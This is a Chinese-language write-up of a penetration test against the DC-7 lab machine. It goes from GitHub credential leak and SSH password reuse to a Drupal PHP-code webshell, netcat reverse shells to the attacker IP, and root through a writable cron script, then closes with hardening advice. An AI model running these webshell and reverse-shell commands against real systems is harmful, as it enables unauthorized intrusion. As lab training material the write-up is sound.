DC7靶机的渗透测试与复盘
一、环境准备
下载DC7靶机,导入VM,设置为NAT模式,Kali也设置为NAT模式。
靶机IP:192.168.123.128
攻击机IP:192.168.123.139
二、信息收集
用nmap扫描靶机开放端口:
nmap -A -p- 192.168.123.128发现开放了两个端口:22(SSH)和80(HTTP),80端口是 Apache 2.4.25,上面跑的是Drupal 8CMS。
访问
http://192.168.123.128/,浏览页面,在页面底部发现了一个用户名@DC7USER。
三、OSINT开源情报收集(关键突破口)
常规的目录扫描和漏洞利用都没戏,根据DC7页面的信息提示,说明这时候需要跳出框框思考。
@DC7USER这个用户名放在这个位置这么突兀一定有什么作用,像是GitHub 上的账号,去 GitHub 搜索Dc7User,找到了一个公开仓库叫staffdb。
在仓库里发现了config.php文件,里面有数据库连接信息:
<?php$servername="localhost";$username="dc7user";$password="MdR3xOgB7#dW";$dbname="Staff";$conn=mysqli_connect($servername,$username,$password,$dbname);?>四、SSH登录
数据库密码虽然是从 GitHub 泄露的,但数据库在 localhost 连不上。想到 nmap 还扫到了 SSH 端口,试试密码复用:
ssh dc7user@192.168.123.128输入密码MdR3xOgB7#dW,成功登录!
五、主机信息枚举
查看家目录,发现两个东西:
dc7user@dc-7:~$ ls backups mbox查看mbox邮件文件,发现是root 通过 cron 定时执行/opt/scripts/backups.sh备份脚本的日志。
查看备份脚本:
#!/bin/bashrm/home/dc7user/backups/*cd/var/www/html/ drush sql-dump --result-file=/home/dc7user/backups/website.sqlcd..tar-czf/home/dc7user/backups/website.tar.gz html/ gpg --pinentry-mode loopback--passphrasePickYourOwnPassword--symmetric/home/dc7user/backups/website.sql gpg --pinentry-mode loopback--passphrasePickYourOwnPassword--symmetric/home/dc7user/backups/website.tar.gzchowndc7user:dc7user /home/dc7user/backups/*rm/home/dc7user/backups/website.sqlrm/home/dc7user/backups/website.tar.gz关键发现:
- 脚本属组为www-data,组权限有rwx(可写)
- root 通过 cron 定时以 root 身份执行此脚本
- 脚本中使用了
drush(Drupal命令行工具)
查看文件权限确认:
dc7user@dc-7:~$ ls -la /opt/scripts/ total 12 drwxr-xr-x 2 root www-data 4096 Aug 29 2019 . drwxr-xr-x 3 root root 4096 Aug 29 2019 .. -rwxrwxr-x 1 root www-data 520 Aug 29 2019 backups.sh六、获取Drupal管理员权限
为什么要登录Drupal后台?因为当前 dc7user 用户不在 www-data 组中,无法直接修改/opt/scripts/backups.sh。需要先获得www-data 权限,而通过 Drupal Web 应用执行的 PHP 代码就是 www-data 身份。所以要先拿到 Drupal 后台管理员权限。
在 mbox 邮件中看到 root 的 cron 任务使用了drush命令,说明系统安装了 Drupal 的命令行工具。dc7user 也能执行 drush,直接用它修改 admin 密码是最快的方式:
cd /var/www/html/ drush user-password admin --password="123456"用新密码登录 Drupal 后台http://192.168.123.128/user/login。
七、获得 www-data Shell
在后台Manage → Extend → Install new module,通过 URL 安装 PHP Filter 模块。PHP Filter 是 Drupal 官方提供的模块,用于在文章内容中执行 PHP 代码(Drupal 8 默认已移除该功能,需要手动安装)。从 Drupal 官网的模块仓库https://ftp.drupal.org/files/projects/可以获取到该模块的下载链接:
https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz安装后启用该模块,然后新建内容(Basic page),在 Text format 选择PHP code,写入 webshell:
<?phpsystem($_GET['cmd']);?>攻击机监听:
nc -lvnp 4444访问该页面执行反弹shell命令:
http://192.168.123.128/node/4?cmd=nc 192.168.123.139 4444 -e /bin/bash成功获得www-data权限的 shell!
八、权限提升(提权至root)
刚才已经知道/opt/scripts/backups.sh的属组是www-data,组权限可写,root 的 cron 会定时执行它。
在 www-data 的 shell 中往脚本追加反弹命令:
echo "nc 192.168.123.139 5555 -e /bin/bash" >> /opt/scripts/backups.sh攻击机开启另一个监听:
nc -lvnp 5555等待一会,cron 任务以 root 身份执行了脚本,成功弹回root 权限的 shell!!!
┌──(kali㉿kali)-[~] └─$ nc -lvnp 5555 listening on [any] 5555 ... connect to [192.168.123.139] from (UNKNOWN) [192.168.123.128] 53638 whoami root九、渗透复盘
完整攻击链
信息收集(nmap)→ 页面发现 @DC7USER ↓ GitHub OSINT → 配置文件泄露 SSH 凭据 ↓ SSH 登录(dc7user) ↓ 发现 mbox → root cron 执行 backups.sh(www-data 可写) ↓ drush 修改 Drupal 管理员密码 → 登录后台 ↓ 安装 PHP Filter 模块 → 植入 webshell → 反弹 www-data shell ↓ 修改 backups.sh 添加反弹命令 → 等待 cron 执行 → 获得 root shell核心知识点
- OSINT(开源情报)— 页面底部的
@DC7USER是突破口,GitHub 上搜索公开仓库找到了数据库密码 - 密码复用— GitHub 泄露的密码可以直接用于 SSH 登录
- drush 工具— Drupal 的命令行管理工具,可以修改管理员密码
- cron 提权— root 定时执行的脚本如果被低权限用户可写,就能提权
- www-data 组权限— 脚本属组为 www-data 且可写,只要获得 www-data 的 shell 就能修改它
经验总结
DC7 最大的特点是不能纯靠技术扫描和漏洞利用,需要跳出框框思考。常规的 Drupal 漏洞利用在这个版本上都不好使,真正的突破口是社工思维——发现页面底部的用户名、去 GitHub 搜索、找到泄露的凭据。整体难度中等,但思路很新颖,考验的是渗透测试中的信息搜集能力和创造性思维。
安全修复建议
🔑 禁止敏感信息上传到公开仓库— GitHub 上泄露数据库密码是本靶机的起点。应该在
.gitignore中排除config.php等配置文件,或使用环境变量管理敏感信息。🔐 密码隔离— 数据库密码、SSH 密码、后台密码不要复用。一旦某个环节泄露,攻击者就会尝试密码复用横向移动。
📂 最小权限原则—
/opt/scripts/backups.sh属组为www-data且可写,这非常危险。脚本应该仅属 root 且权限为 700(chmod 700),不允许其他用户或组有任何权限。⏰ cron 脚本加固— root 执行的脚本中命令要写绝对路径(如
/usr/local/bin/drush而非drush),避免 PATH 劫持风险。🌐 Drupal 安全配置— 移除 PHP Filter 模块或严格限制使用权限;及时更新 Drupal 版本;后台地址不要使用默认路径
/user/login。📧 邮件信息保护—
mbox文件暴露了系统定时任务路径,应限制邮件日志的访问权限,或定向到 root 用户独有目录。